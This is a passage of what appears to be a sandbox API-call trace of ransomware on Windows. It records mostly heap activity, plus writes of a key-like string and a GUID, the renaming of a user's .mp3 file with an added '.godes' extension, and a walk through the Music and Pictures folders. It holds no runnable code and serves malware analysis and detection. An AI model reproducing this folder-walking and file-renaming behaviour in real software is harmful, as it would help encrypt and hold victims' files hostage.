Flags=0x0, Size=0x60) returned 0x31bf400 [0114.312] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.312] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.313] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.313] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.313] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.313] CloseHandle (hObject=0x624) returned 1 [0114.313] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.314] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.314] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.314] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\_5Qx7lEGVjKpdcq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\_5qx7legvjkpdcq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\_5Qx7lEGVjKpdcq.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\_5qx7legvjkpdcq.mp3.godes")) returned 1 [0114.314] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.314] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.315] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f2d80, ftCreationTime.dwHighDateTime=0x1d4d1ac, ftLastAccessTime.dwLowDateTime=0xaa08c40, ftLastAccessTime.dwHighDateTime=0x1d4d3a7, ftLastWriteTime.dwLowDateTime=0xaa08c40, ftLastWriteTime.dwHighDateTime=0x1d4d3a7, nFileSizeHigh=0x0, nFileSizeLow=0x10c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5Qx7lEGVjKpdcq.mp3", cAlternateFileName="_5QX7L~1.MP3")) returned 0 [0114.315] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.315] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.315] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0114.315] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.315] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.315] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.317] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.318] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.319] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.320] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.321] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.322] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.322] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.322] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\") returned="1E-1x-bA_f\\" [0114.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0114.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.322] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.322] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.322] PathFindFileNameW (pszPath="") returned="" [0114.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd425d0, 